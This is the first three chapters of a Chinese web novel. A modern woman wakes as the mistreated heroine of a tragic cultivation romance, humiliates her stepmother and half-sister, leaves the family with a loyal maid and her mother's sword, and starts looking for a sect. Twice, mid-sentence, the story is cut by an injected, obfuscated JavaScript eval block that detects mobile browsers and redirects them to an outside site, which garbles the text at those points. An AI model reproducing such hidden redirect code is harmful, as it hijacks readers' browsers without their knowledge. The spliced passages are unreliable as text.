《在虐文里做龙傲天女主》 1. 少小 “姜若水,你好大的胆子!” 舒凫刚一睁开眼,就只觉得眼前一花,一记巴掌杀气腾腾地冲她脸上招呼过来。 当时那巴掌距离她的脸只有0.01公分,而她在一瞬间注意到:那只手肤色白皙,五指纤长,指尖点染着鲜红蔻丹,打人耳光的动作快稳准狠,像是操练过千百遍一样熟练。 很显然,这是个女人。还是个没怎么干过活,却经常扇别人耳光的女人。 不巧的是,这女人习惯打人,出身于21世纪文明家庭的舒凫却不习惯挨打。由于事发突然,她来不及思考,当即条件反射地让开一步,同时一把扼住那女人的手腕,一拉一送,直接将她整个人摔了出去。 “看我不打死——啊啊啊啊啊!!!” 舒凫:“……” 好菜一女的。 解决险些挨打的燃眉之急以后,她终于能够抬眼四顾,仔细打量自己所处的环境。 她正站在一间宽敞气派的厅堂中央,两旁摆放着实木桌椅,墙上挂有字画,陈设无一不精致美观,看上去像是古时大户人家的客厅。 面前乌泱泱的围了一圈人,男的峨冠博带,女的珠翠满头,一看就不像拍戏——如果是拍戏,这服化道水平得是《康熙王朝》级别的。 哦,我这是穿越了。舒凫平淡地意识到。 “母亲!母亲,您没事吧?” 就在下一秒,她耳边响起一声少女的娇呼。尖叫时也掐着嗓子,叫得比戏台上的花旦还好听。 “姐姐!” 舒凫还没来得及扭头,只听那少女话音一转,带着怒气和如兰的香气一起喷到她脸上,“我敬你是我长姐,处处忍让包容,你怎么能对我母亲动手?!” “?” 舒凫在内心缓缓打出一个问号。 不是令堂先打我吗? 她不仅穿越了,家庭情况还挺复杂。 舒凫倒不是完全一头雾水,“姜若水”这名字听上去很熟悉,脑海中也有一段不属于她的记忆萦绕盘旋,提醒她原主的存在。 只是信息量太大,她需要一点时间梳理明白。 幸好这家人十分配合,也不等她应声,当下就开始七嘴八舌地给她提供情报。 “好啊!姜若水,你胆大妄为、与人私通,还偷宝珠的东西,我替你爹教训你,你居然敢还手?!” 刚才被她摔倒在地的女人一马当先,像个炮仗一样原地蹦了起来,冲着她噼里啪啦地喷射火星。 这女人看外貌约莫三十上下,面容姣好,算得上是个美人。只是她美得有些小家子气,眉梢眼角透着一股刻薄味儿,尤其此刻气急败坏,一对美目中的恶意几乎要满溢出来。 一旁唤她“母亲”的少女个头娇小,不过十二三岁年纪,容貌稚气未脱,却把亲娘高傲刻薄的神气学了个十成十。 这会儿她也有样学样,跟着母亲一道义愤填膺:“姐姐,你偷我的东西也就罢了,大不了我送你便是。可你……你已经与轩哥哥订婚了,怎么可以三心二意,和高师兄私定终身,置家族颜面于不顾呢?母亲气急打你,也是为了你好啊!” “?????” 舒凫在内心打出了一连串问号。 这酸爽的剧情,好他妈熟悉哟! 对面母女俩这么一搭一唱,也算是歪打正着,让舒凫心中一亮,彻底回想起了“姜若水”这位女主的故事。 没错,姜若水是个女主,而且是一篇名叫《仙侠之弱水三千》的古早虐文女主。 由于此文对女主虐得太狠,剧情太过气人,当年在网络上掀起过一场骂战,引来吃瓜路人无数,以至于舒凫多年后仍有印象。 光是回想起这个标题,就让她五脏六腑一阵抽搐,昔日年少无知的触雷记忆涌上心头。 彼之蜜糖,我之吃翔,用在这篇文上再合适不过了。 …… 在《弱水三千》的设定里,女主姜若水出身于修仙世家,是姜氏老族长的孙女。 姜家与隔壁齐家世代交好,早早订下了娃娃亲,打算把姜若水许配给齐氏老族长的孙子,也就是男主齐玉轩。 齐玉轩人如其名,玉树临风,器宇轩昂,是修仙文里百用不厌、经久不衰的经典男神形象。姜若水对他很有好感,从小就盼望着嫁给这位“轩哥哥”。 只可惜好景不长,姜若水的母亲在一场剿灭妖兽的战斗中身负重伤,撒手人寰。父亲姜浩然一把眼泪一把鼻涕地“悲痛”了三个月,三个月后,他就张灯结彩地迎娶续弦,顺便带回了比姜若水小一岁的姜宝珠。 彼时老族长业已仙去,姜浩然身为族长,扶个情人上位,又有谁能说个“不”字呢? 姜浩然与第一任妻子纯属联姻,关系冷淡,连带着也不喜欢姜若水这个便宜女儿。他的继室楚箫在家中作威作福,对姜若水百般苛待,动辄打骂羞辱,他也只当没有看见。 但只有一样,是楚箫和姜宝珠抢不走的。 ——姜若水的未婚夫,齐玉轩。 齐家族长一诺千金,说好迎娶姜若水就是姜若水,差一根头发都不行。楚箫母女俩百爪挠心,终于动了邪念,决定败坏姜若水的名声,也就是今天这出闹剧的源头。 什么,你问为什么修仙之人也会在意名节? 天知道。反正原著就是这么设定的。 按照舒凫记忆中的剧情,姜若水为了自证清白,甘愿接受“家法处置”,被折磨得不成人形,差一点就丢了性命。闻讯而来的齐家长辈于心不忍,相信了她的清白,没有解除她和齐玉轩之间的婚约。 但齐玉轩不乐意,因为他对包办婚姻不屑一顾,追求自由恋爱,早已有了非卿不娶的白月光。 就在那一年,当世四大修仙门派之一——九华宗广收门徒,姜宝珠、齐玉轩以及他的白月光都前往参加。姜若水历经磨难,好不容易在最后一刻赶到,千辛万苦拜入宗门,终于如愿以偿地来到了齐玉轩身边。 之后等待着她的,就是齐玉轩的冷眼,姜宝珠的欺凌,白月光无处不在的秀恩爱,以及同门的指指点点、排挤冷落。 姜若水没有放弃,她硬是咬牙熬到了齐玉轩“真香.jpg”。 在这段时间里,她对齐玉轩有求必应,他需要的秘籍她不眠不休去找,他想要的灵草她历尽艰险去摘,他的白月光有难,黑锅百分之百落在她头上……有一次白月光重伤,姜若水刚好在她身边,首当其冲地遭到怀疑。为了打消齐玉轩的疑念,姜若水被迫剖出一段腿骨,连同刚成形的金丹一起给了白月光,自己从头开始修炼,还落下了不良于行的毛病。 舒凫毫不怀疑,如果这是一篇现代文,女主会在此时献出自己的肾。 最终,姜若水舍得一身剐,用自己百折不挠的真爱感动了男神,赢得了他的真心。 “虽然女主失去了一条腿,但是她得到了爱情啊!”——大概就是这么回事吧。 这自然招来了恶毒女配ABC的不满,她们变本加厉地欺凌姜若水,最后故技重施,给她扣了一个“私通魔修”的罪名,趁齐玉轩不在时动用私刑,废去姜若水的修为,把她一个人抛到魔域自生自灭。 姜若水的女主光环救了她一命,让她绝处逢生,结识了一个魔修男配,在他的护送下平安回归。 但这又恰恰坐实了她的罪名,刚对她动心的齐玉轩立刻翻脸,一剑把她捅了个透心凉,扭头就和白月光结婚了。 姜若水忍无可忍,悲愤入魔,成为了正道人人得而诛之的妖女。 再后来又是一百章误会、冲突、失忆、带球跑、虐心虐身,经历九九八十一难,男女主终于冰释前嫌,抵达HE。 顺便一提,男主还和白月光生了个孩子,在番外里由姜若水抚养长大,视如己出。 至于姜若水自己,她第一次怀孕,被恶毒女配们作到流产;第二次失忆带球跑,男主又怀疑这球是男配的,险些一剑剁了自己亲生儿子的头。 即使如此,姜若水依然觉得自己和男主终成眷属,非常幸福。 …… 姜若水实在是一代可歌可泣的奇女子,舒凫扪心自问,觉得换了自己,无论如何也没法在这种枪林弹雨的剧情里挺到HE。 这他妈也太SB了!!! 要她和SB周旋几百章换一个HE,她宁愿选择一把□□,把他们都给突突了。 光是看着眼前这对母女,她就觉得脑壳疼,从眼睛到人格都遭受了一种莫大的侮辱。 舒凫在脑海中飞快地过了一遍剧情,一想到姜若水要和这两朵奇葩纠缠一辈子,以后还会遇到更多的奇葩,胃里又是一阵痉挛。她真担心自己会当场吐出来,活色生香地演绎什么叫做“气吐了”。 遥想当年,经历无数触雷洗礼之后,再后来她网上冲浪,便成了一代纵横网络的键盘侠,审美俗套,趣味低级,平生只看爽文,有一纳米不爽都不看。遇上憋屈情节,跳订弃坑都是常有的事。 她的看文原则就是——“再受不能受委屈,再苦不能苦女主”。 没想到有朝一日,她会穿成虐文女主本人! 这可真是日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310342|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了狗……不对,比日了狗还惨,这是被泰迪给日了! 舒凫尊重虐文读者的审美,但她一点都不愿意代替虐文女主受罪。 要穿书,就要做爽文女主,其他免谈。 再看楚箫和姜宝珠,她们哪儿知道逆来顺受的姜若水已经换了芯子,越说越是得意,表情那叫一个美滋滋,仿佛姜宝珠已经代替姐姐和齐玉轩订了婚,明天就要过门了。 至于一旁那位仪表堂堂的中年人——也就是姜若水的亲爹姜浩然,他表面上大公无私,态度和坐姿一样端正,其实屁股早已经歪到地上去了。 如果说人人心中都有一杆秤,姜浩然心中就只有一架高低杠,大女儿低到泥里,小女儿高在云端。实乃高低杠成精,简称杠精。 一个教科书一样的恶毒继母,一个黑心烂肺的白莲花小妹,还有一个高低杠成精的爹。 一家子极品,哦豁,齐活。 姜浩然颇有一点“又当又立”的心态,在楚箫义正辞严的控诉之后,他装模作样地一捋长须,转向舒凫厉声道: “若水,我自以为对你和宝珠并无偏袒,谁知你竟如此——” 舒凫从善如流地一点头:“您说得对,您确实只是‘自以为’。” 姜浩然面色一变:“什么?” “没什么。” 舒凫冲他笑了笑,笑容里几乎有一点宽宏大量的味道,“您接着说,我在听。” “……” 姜浩然冷不丁地被她打断,一时间思路都有些不利索,愣了一会儿才找回话头:“我自——我对你和宝珠并无偏袒,谁知你如此善妒,竟然偷走我送给宝珠的生辰礼物,还与人私定终身,将宝珠之物作为你们的定情信物。” 他猛地一拍桌子:“你这是存心要坏她名节,其心可诛啊!” 舒凫:“……” 哇塞,好一出贼喊捉贼。 她的内心毫无波动,甚至还想给他们鼓鼓掌。 按照原著情节,接下来姜若水就该指天发誓,楚箫顺势提出“家法处置”,让姜若水受三道重刑,如果受刑之后仍不改口,就相信她的清白。 而楚箫的用意,自然是让姜若水成为废人,再也不能嫁入齐家。 果然,只听楚箫痛心疾首道:“姜若水,如果你不能自证清白,姜家就留不得你了!若你有心自证,那我也有一个办法……” 舒凫:“哦,那就不留了呗。” 楚箫:“既然你有心,那就前去受刑——等等,你刚才说什么?” “我说,不留了。” 舒凫依然噙着一点宽容大度的微笑,耐心地重复道,“你们一看见我就嫌碍眼,我一看见你们就犯恶心,干嘛还扎堆凑一块儿?别了吧,都挺累的。不如一别两宽,各生欢喜,也省得我户口……对不起,族谱上还要挂着一堆极品亲戚,都不好意思跟人介绍。” 说完,她毫不犹豫地转身就走。 走到门口,她想了想觉得不大解气,对不起自己那些年吃过的翔,于是又一阵风似的转回来,在姜宝珠面前站定,笑吟吟地打量着这朵温婉小白莲。 姜宝珠被她笑得背后发毛:“姐姐,你这样看着我做什么?” “……” 舒凫含笑不语,一脸慈爱地伸手抚过少女头顶——然后她突然发力,一手抓住她发髻,猛地向后一拉,另一手照准她娇嫩的面颊狠狠抽了过去。 只听见“啪”的一声脆响,姜宝珠被抽成了一只花枝招展的陀螺,滴溜溜旋转半圈后扑倒在地,和她妈扑街的位置一模一样。 “你、你你你……” 姜宝珠整个人都被打懵了,捂着脸不敢相信:“你打我?!你居然——” “对啊,打的就是你。” 舒凫一本正经地点头,“你妈打我妈的女儿,我就替我妈打你妈的女儿。一点问题都没有,对不对?” 然后她一闪身躲过愤怒的楚箫,撇下震惊的姜浩然,笑着冲他们说了声“再见”,这一次是真的头也不回地出了门。 姜若水的记忆已经没入她脑海,她知道她的房间在哪里,那里还留着她亡母的遗物。 舒凫的目标非常明确,她要以最快的速度收拾行李,然后离开姜家。 这一走,她就再也不打算回来了。 ——修仙文,这可是修仙文啊! ——人都能上天了,连几尺高的院墙都翻不出去,还要困在里头斗来斗去,那还修个锤子的仙,求个锤子的道啊??? ——想跟我宅斗,斗你老母啊!!! 2. 离家 趁着姜家一家三口愣神的功夫,舒凫步履如风,一路脚不沾地地赶回了姜若水居住的小院。 没有人阻拦,这也在她的意料之中。 她刚一穿来就发现,姜若水这具身体灵力充盈,身轻如燕,显然修行资质上佳,而且已经有了几分修为傍身。如果用修仙小说的“境界”来形容,大约是练气圆满,堪堪差一步筑基。 纵然拿出去不够看,但对付楚箫和姜宝珠这两个漂亮草包,其实早已绰绰有余。 至于姜浩然,他顾忌族长颜面,也不会亲自与亡妻留下的女儿动手。 换句话说,如果姜若水当真横下心,撕破脸,姜家根本没人能把她怎么样。 退一万步讲,就算她打不过,姜家人一样不会拦她——他们早把她当成一个碍眼的摆设,如今她自己提出要走,身份、财物、传承一样不要,省得他们挖空心思编织借口,岂不是求之不得吗? 正所谓无欲则刚,舒凫对姜家无欲无求,所以特别能刚。 所以这一路,她走得畅通无阻,顺顺当当,甚至还有闲心观赏一番修仙人家的庭院风景。 姜若水在家中不受重视,住处也偏僻,委屈巴巴地挤在东北方一个不起眼的角落。只有门口一架蔷薇开得热闹,平添了几分颜色。 舒凫还没踏进院门,就听见一阵嘈杂的人声越过围墙,掺杂着哭闹声、呵斥声以及男子污言秽语的调笑,有如无数钢针,刺得人耳鼓生疼。 “……” 她抬起手来揉了揉太阳穴,觉得空气中傻逼元素浓度过高,自己好像有点缺氧。要是在这里多待一天,她可能会被熏成脑死亡。 还是赶快走吧。 结合原剧情和姜若水的记忆来看,眼下大概是这么个情况。 楚箫买通了姜若水身边的丫鬟,让她盗取小姐私物,和姜宝珠的生辰礼一同送给“奸夫”,也就是方才对话中提及的“高师兄”。 “高师兄”大名叫做高平,是姜家门生中一个又蠢又坏的小人物,贪财好色一样不落,既拿了楚箫的好处,又想趁机和“失了清白”的姜若水做成好事,堪称狗胆包天。 接下来就好办了:只要姜宝珠假惺惺地喊一声“哎呀,我东西丢了”,早有准备的楚箫就会查到姜若水头上;只要楚箫一问,丫鬟就会哭着交代“是小姐让我偷的,她拿去送情郎了”;至于“情郎”呢,他就会站出来表明心迹,声称自己和姜若水两情相悦,早已私定终身,两人爱得天雷地火、不可自拔,姜若水绝对不会嫁去齐家云云。 如此一来,人证物证俱在,姜若水就算长了一百张嘴也没法分辩。 楚箫唯恐分量不够,顺手又给她扣上了偷窃、善妒、陷害姊妹三顶帽子,宅斗操作一套一套的,不怕压不死她。 如果是姜若水本人,就算没被压死,只怕也要奄奄一息了。 但舒凫不一样。 论路子野,操作骚,她从来没有在怕的。 这会儿院子里沸反盈天,一来是楚箫派人搜查,美其名曰“寻找证据”,其实是想趁机夺走姜若水母亲留下的遗物;二来,就是高平的一群狐朋狗友找上门来,想要“和嫂子亲近亲近”了。 舒凫站在院门口,目光从院落中飞快地一掠而过,看各人神情姿态,内心已经给他们干脆利落地打上了标签: 垃圾,垃圾,炮灰,垃圾,恶毒女配,垃圾,垃圾,垃圾…… 以下省略垃圾×N。 末了她忍不住慨叹:好一个修仙世家,垃圾含量竟然如此之高,可见内里早已经腐烂透了。 姜家之所以能在原著中屹立百年不倒,舒凫能够想到唯一的理由,就是虐女主大计需要他们,给姜若水添堵的事业少不了他们。祸害活千年,他们的生命力想必十分顽强,就像蟑螂一样春风吹又生。 这可真是太糟心了。 “小姐,是小姐!大小姐回来了!” 就在此时,院中一个眼尖的丫鬟发现了舒凫,惊喜交加地喊出声来,“小姐,您没事吧?太好了,我还担心夫人把您……” 舒凫记得这个丫鬟,她名叫芳菲,是姜若水身边最忠心的一个。按照原著剧情,她本该在女主受刑之际极力阻止,然后被楚箫故意用烙铁烫伤,不治身亡,成为女主苦难人生中的第一个炮灰。 舒凫很同情这个小姑娘,面向她的语气也相当和善:“别怕,我没事。” 就这么一问一答的功夫,院中翻箱倒柜的仆役、撒泼耍赖的青年都注意到了她。他们一心闹事,大约没想到此间主人回来得这么快,一时都怔住了。 “挺热闹啊。” 舒凫懒得与他们废话,敷衍了事地一抬下巴,“芳菲留下,其他人都滚。” “…………” 众人面面相觑,一时间都有些茫然,搞不清这位一向和善好拿捏的大小姐吃错了什么药。 “大小姐,您这是哪里话?” 有个胆大的仆妇上前,仗着自己是楚箫面前的红人,阴阳怪气地撇了撇嘴角,“我们都是夫人的人,哪儿能由着您差遣?如今您做出这种丑事,能不能继续当这个姜家大小姐,可还说不定哪!” “不劳费心。我觉得‘姜家大小姐’这个头衔是一种侮辱,还是留给你家夫人的宝珠比较合适。” 舒凫客客气气地回答,冲她摆了个“请”的手势,“欢迎你把这句话带给夫人,现在你可以滚了。” “你……!!” 那仆妇脸上阵青阵红,又不敢冲她发作,表情活像吃了苍蝇一样难堪,“大小姐,您别把话说得太满。先夫人过世多年,您的母家童家早已衰微,放眼天下,您还能倚仗谁去?没了姜家小姐的名头,您又凭什么对我们颐指气使?” 这话倒是切中要害,舒凫想。 生母逝世,母族衰微,父亲不闻不问,继母和妹妹虎视眈眈,手下的丫鬟离心离德,只有芳菲这么一个憨头巴脑的实诚人。 都说“人生如棋”,无论怎么看,姜若水这盘棋的开局都烂透了。 不过,好在也不算一无是处。 “就是啊,你凭什么!” 那几个纨绔模样的年轻人见她沉默不语,不由地气焰大涨,也一个个凑上前来唾沫横飞,“我们都听说了,你和阿平有私情,被夫人抓了个正着是吧?既如此,你就是阿平的人了,我们都该叫你一声嫂子才是。” “恭喜啊,嫂子。” 另一个姜家门生不怀好意地接过话茬,乌溜溜的眼睛里精光闪烁,“嫂子这般相貌,阿平真是好福气。往后你过了门,可要与我们多亲近亲近。” “不错。要我说啊,什么大小姐,呸!真当自己是个稀罕玩意儿,等你嫁了人,就得仰仗阿平的鼻息过活了。” 第三个人抢着道,“都说‘兄弟如手足,女人如衣服’,我们和阿平情同手足,以后该是你讨好我们。” “你们!你们欺人太甚,这群不要脸的下作东西!” 芳菲是个火爆脾气,转身就要去墙边拿笤帚,却被一个纨绔拉住衣袖,流里流气地在她脸上摸了一把,引得其他人哄堂大笑。 舒凫面色一沉,但嘴角仍是抿着一点好脾气的微笑,对眼前人的恶言恶语恍若未闻。她摩挲了一下指尖,转向方才带头发难的仆妇,慢条斯理地开口道: “你方才问我,凭什么对你们颐指气使,对吧?” 她的神色实在太过平静,仆妇无端泛起了一点心虚,但还是梗着脖子道:“不错!如今的姜家,宗主是天,夫人是地,大小姐若是与他们离心,便没一个人会向着您。” “放屁,我不算个人吗!我看你们才不是人!” 芳菲又要跳起来大骂,舒凫一抬手止住她,而后五指并拢,掌心向天,以一种近乎散漫的姿态伸出右手,仿佛要接住一片飘零的落花。 满院乌烟瘴气之中,少女笑容明媚,更胜灼灼春光。 “好。”她微笑道,“我告诉你凭什么。” 话甫落,只见主屋中骤然光华大盛,满室生辉,又有一阵清越而悠久的龙吟之声直冲天际,回响不绝,竟有响遏行云之势。 而后便有一道青光,带着慑人的寒意破窗而出,有如疾风横扫一般穿过院落,在每个人头顶盘旋游走一圈,直骇得众人惊慌失措、人仰马翻之后,方才掠过数丈距离,稳稳当当悬浮在舒凫掌心上方,任由她一把握住。 那赫然是一把剑。 剑身细长,剑锋雪亮,一眼望去寒光湛湛,握在手上却能感觉到一股温暖的灵力流转,无疑是不可多得的宝剑。 宝剑出鞘,有如苍龙出云入海,其锋不可当。 舒凫掂量着这柄藏在姜若水房中的宝剑,内心属于原主的乡愁和自己的感慨汇在一处,最终凝聚成一声微不可闻的叹息。 她知道,这柄剑名为“孤光”,是姜若水生母两件最珍贵的遗物之一。另一件是一张古琴,名为“魄月”。 名字取得很文艺,只可惜下场都不大好。 孤光剑和魄月琴,在原著设定中都是以一当百的宝物,却不是给女主用的。 姜若水一来不是剑修,二来不敢擅动亡母遗物,所以只把它们当作信物和念想,一直封存在房中。 后来她与齐玉轩两情相悦,对方正差一把称手的好剑,姜若水自然是将“孤光”送给了他,连带着送出了一颗真心,满腔柔情蜜意。 谁料她遭人陷害,沦落魔域,全部身家都被女配们瓜分一空,就连魄月琴也落到了姜宝珠手里。 再后来,已成为一方大能的齐玉轩与她反目,为表示恩断义绝,便在她眼前向孤光中强灌灵力,将这一代名剑生生震成了碎片。 而魄月已生了器灵,不甘心为仇人所驱使,遂趁姜宝珠不备跳入剑炉,顷刻便被其中的灵火吞噬,化作一把飞灰。 剑胆琴心,终成绝响。 男女主HE以后,为各路中道崩殂的男配、女配、炮灰都立了坟冢,也包括这两样宝物,时时洒扫祭拜,不胜缅怀——那又有个屁用啊! 宝剑蒙尘,明珠暗投,实在浪费! 上辈子舒凫白手起家,一生抠门,最讨厌的就是浪费。 孤光和魄月在原著中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310343|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没发挥什么效用,空有设定,不过是两个增加虐点的道具而已。如今落在她手上,她既小气又自私,绝对不会送给别人。 既然如此,那当然是不用白不用。 姜若水的修为有限,舒凫初来乍到,人生手更生,原本不足以运使这等宝剑。幸好孤光剑有灵,早已认主,只要她心念一动,自然能为她扫除障碍。 正因察觉到这一点,她才能完全无所顾忌。 “你说得对。如今我的确孑然一身,无所倚仗。” 舒凫握剑在手,凭着身体记忆和前世一点学习武术的经验,一扬手轻巧地挽了个剑花。而后她将手一松,任凭孤光呼啸着破空而去,剑尖直逼领头那名仆妇的咽喉。 “我凭什么?就凭我是你爹,我能把你糊在墙上。” “救命!救命啊!” 那仆妇早已吓得魂飞魄散,脸色煞白连连后退,脚一软跌坐在地,颤抖着再也站不起来。 舒凫也没想着拿她一个凡人开刀,心念一转,孤光剑去势不停,从那几个调笑的青年弟子腰间掠过,将他们的腰带都齐刷刷断了个干净,在要害处划开深深一道血痕。刹那间只见鲜血飞溅,如同宠物医院阉猫现场。 “啊啊啊啊啊!!!我的、我的……!!!!” 这一下院内可炸了锅,一时间哀嚎声、尖叫声此起彼伏,男人忙着捂要害,女人忙着捂眼睛,比刚才热闹了数倍不止。 只有一个芳菲如虎生翼,不避不闪,抄起一把笤帚就劈头盖脸地打过去:“知道厉害了吧,知道厉害了吧!让你轻薄!让你不三不四!让你瞧不起我们小姐!话说回来,小姐你啥时候这么厉害了?” “……” 舒凫伸手捏了捏眉心,“你家小姐本就厉害,只是脾气好,不与他们一般见识而已。” 说罢她若无其事地上前一步,将孤光剑抄在手里,反手打落一个青年嘶吼着向她挥来的佩剑,剑锋顺势抵上他拇指关节。 “刚才对芳菲动手动脚的,好像是这只手吧?” 她语气轻柔,说出的话却像催命,“你比我虚长几岁,多修炼了几年,爬也该爬在我前头了。这手如此不顶用,你还要它干嘛?” “咿!!” 那年轻人倒抽一口凉气,几乎是连滚带爬地逃向一边,“杀人啦!姜若水发疯杀人啦!!” 姜若水就是不够疯,才会让一群孬种骑到头上。 舒凫心中这么想着,手中剑尖一挑,言简意赅地吐出两个字:“废物。” “你,你恃强凌弱、残害同门!” 众人只觉得身下剧痛,一个个腰都直不起来,只能一路匍匐后退,“我们要禀告宗主,请他家法处置!” 这几个弟子能和高平那种货色混到一路,自然都是些欺男霸女、不学无术的玩意儿,平日只会背靠着姜家鱼肉乡里,如今被舒凫劈头盖脸一顿毒打,当场便露出了败絮其中的原形。 “家什么法,姜家根本没法,我跟你们也不是一家。” 舒凫轻飘飘地一挑眉毛,不再理会他们的无能狂怒,转向横眉竖目的芳菲温声道,“芳菲,别打了。回房清点一下行李,我们这便启程离开。若是少了什么东西,就从他们身上搜,抽筋扒皮也要找出来。” 姜若水给她一条性命,一次人生,只可惜两人性格迥异,舒凫不会为姜若水忍辱负重地周全家族,也不会为她低声下气地追求齐玉轩。 但除此之外,但凡姜若水想要保护的,芳菲也好,孤光魄月也好,哪怕是一张纸,她都会竭尽全力为她保全。 “不想让别人因我而死”,舒凫能为虐文女主完成的,也就是这点程度的愿望了。 “小姐,我们真要走啊?” 芳菲到底只是个半大孩子,愣头愣脑地问,“可是……先夫人的娘家如今自顾不暇,离开了姜家,我们还能去哪儿呀?” “我们哪儿都能去。” 舒凫笑出声来,伸出食指在她额头上戳了一戳,“你没出过姜家的门,自然以为这一方天地就是全部。其实外头天大地大,像姜家一样的小家族不知凡几,根本没什么好留恋的。” “哦,哦……” 芳菲似懂非懂地点头,“好,我听小姐的。” “乖。” 舒凫摸了摸她的头。 这个活泼跳脱的小姑娘本该死在这一日,眼下却还有如此鲜活的热度。光凭这一点,就让她内心生出无限的成就感。 …… 姜若水素日简朴,没有多少行囊,两人不一会儿便收拾齐整,也不去管那些战战兢兢、想拦又不敢拦的仆役,旁若无人,堂而皇之地迈出了姜家大门。 姜家府邸依山而建,她们出门那一刻正值黄昏,放眼望去,只见漫山遍野层林尽染,清风入怀,当真是一派大好风光。 “走吧。” 舒凫拍了拍芳菲瘦小的肩膀,再没回头看姜家一眼,带着一把剑、一张琴,以及一个本该成为炮灰的小丫鬟,大步踏上了一段前路难明的旅途。 自此以后,天高海阔,四海为家。 3. 天地 姜氏一族世代修行,多少有几分积淀,因此格外自视清高,却并非完全避世而居。舒凫带着芳菲离开宅邸以后,只走了大约三刻钟功夫,就抵达了距离姜家最近的一处城镇,名唤“青城”。 舒凫不是讲究人,芳菲只管一门心思缀在她身后,两人便随意找了间干净客栈住下,打算先对付一夜,再考虑接下来的打算。 直到此时,舒凫才能真正松一口气,开始仔细思量自己的前世今生。 在穿越之前,她不是什么叱咤风云的大人物,出身普通家庭,脚踏实地走了一条高考、考研、就业、升职加薪、走上人生巅峰的路,从稚嫩到老练,从战战兢兢到雷厉风行,都是一步一个脚印走出来的。 虽然最后也没活太久,死法还有点坑爹,不过名人名言说得好:“生命的意义不在于长度,而在于宽度。” 至于这话是哪个名人说的,其实她也不太清楚。 总而言之,舒凫英年早逝,没有丈夫儿女,但自认为一生充实圆满,潇洒自由,没半点缺憾悔恨。 如今重活一世,换了天地,她对自己的期望也只是如此。 舒凫生前见过许多大场面,不仅博闻强识、思维敏捷,而且特别能演,还有一点不足为外人道的中二病,所以入戏极快,应付姜家只是举手之劳。 不过,今后要想在修仙界立足,就不能光凭手中一把利器,身上一点演技了。 自己究竟几斤几两,舒凫心中有数。靠山山倒,靠人人倒,要想来去自由,无非还是“自强”二字。 芳菲白日里兴奋过头,脑袋刚一沾上枕头就沉沉睡了过去。舒凫却睡不着,她取出孤光放在膝上,一边用丝巾缓缓擦拭,一边全身心感受宝剑中流转的灵力。 孤光剑与她心意相通,而且她挥剑之际,总感觉身体被一股不知名的力量牵引,仿佛是宝剑带着她运使剑招。 如果能够参透孤光的玄机,让自己成为一名配得上宝剑的剑客,那自然是再好不过。 当然,在此之前—— “我得先找个师父。” 舒凫将孤光收入鞘中,小声地自言自语道。 拜师学艺,或者说入门考试,是古早修仙文最常见的开篇剧情之一。舒凫觉得这是个千篇一律的标准套路,毫无新意可言,但不管怎么说,找个师门带路总比一介散修要事半功倍得多。 既然下定了主意,“选择门派”就成为接下来的一桩头等大事了。 在原著剧情中,姜若水拜入的宗门名叫九华宗,是当世四大仙门之一。至于另外三个,分别叫做天衍门、凌霄城和玄玉宫。 只可惜《弱水三千》洋洋洒洒数百章,各派角色、恩怨情仇写了不少,偏偏最基础的门派设定十分马虎,连个地理位置都没有。仿佛主角赶路都是靠地图传送,只要在大地图上点击一下门派名称即可。 姜若水极少出门,她的记忆同样一团模糊,派不上多少用场。 舒凫唯一知道的,就是九华宗将在一个名叫“羡云台”的地方举行考试,招揽弟子,而姜宝珠、齐玉轩和他的白月光都会前往此地。 各路奇葩荟萃一堂,争奇斗艳,想必十分精彩。 ……她一点都不想去。 罢了,明天再往城里打听一下详情吧。 舒凫这么想着,又按照姜若水的记忆吐纳调息,直到下半夜才抱剑躺下,很快便沉入了安稳的梦乡之中。 …… 次日一早,舒凫简单梳洗一番,独自出门打探消息。许是她吉星高照,正巧城中茶馆里来了个说书人,绘声绘色讲起了“八一八当今修真界的各大门派”。 当然,真正的主题并不叫这个,只是在舒凫眼中差不多。 只听那说书人牙板一拍,煞有介事地清了清嗓子,便开始向在座众人科普: “想必诸位都知晓,如今这世上,大大小小、林林总总的修仙门派星罗棋布,数不胜数,直教人眼花缭乱,不知要拜入哪一门哪一派才好。要说其中翘楚,还数东、西、南、北四大宗门。人道是:东方玄玉,西方凌霄,南方九华,北方天衍。” 舒凫在桌上摊开纸笔,开始一板一眼地记笔记。 “东方玄玉,说的便是那海外仙山玄玉宫。玄玉宫掌门‘凌波仙子’,在座可有人识得?” “那是自然。” 有人露出神往的表情,“据说玄玉宫只收女子,其中的女修每一位俱是花容月貌,那凌波仙子更是绝代佳人,明艳不可方物。若能与其中弟子结为道侣,岂不美哉?” 人群中响起一片附和声,看来玄玉宫芳名在外,向往之人不在少数。 “这位兄台,你只知其一,不知其二。” 说书人捋着一撇山羊胡子,得意洋洋地摇头晃脑道,“外人若想与玄玉宫弟子结为道侣,须得亲自登门,通过岛上七道考验,不是兄台所想的那么简单。若是男子日后背信弃义,苛待道侣,玄玉宫上下必将追杀他到天涯海角,不取其性命誓不罢休。” 发话的男子打了个寒颤,讪讪道:“好大派头!又要修为,又要德行,要求恁多,难道她门下的女修都是仙女不成。” 这话同样引起了一片附和,好些人跟着忿忿不平: “不错,弟子结侣之事也要插手,这掌门未免管得忒宽了。” “罢了罢了,天下女修不止她一家,何必上门找罪受。” “结个道侣而已,还要受女方师门辖制?真是笑话!” “依我看,这不过是玄玉宫博人眼球,待价而沽的把戏。” 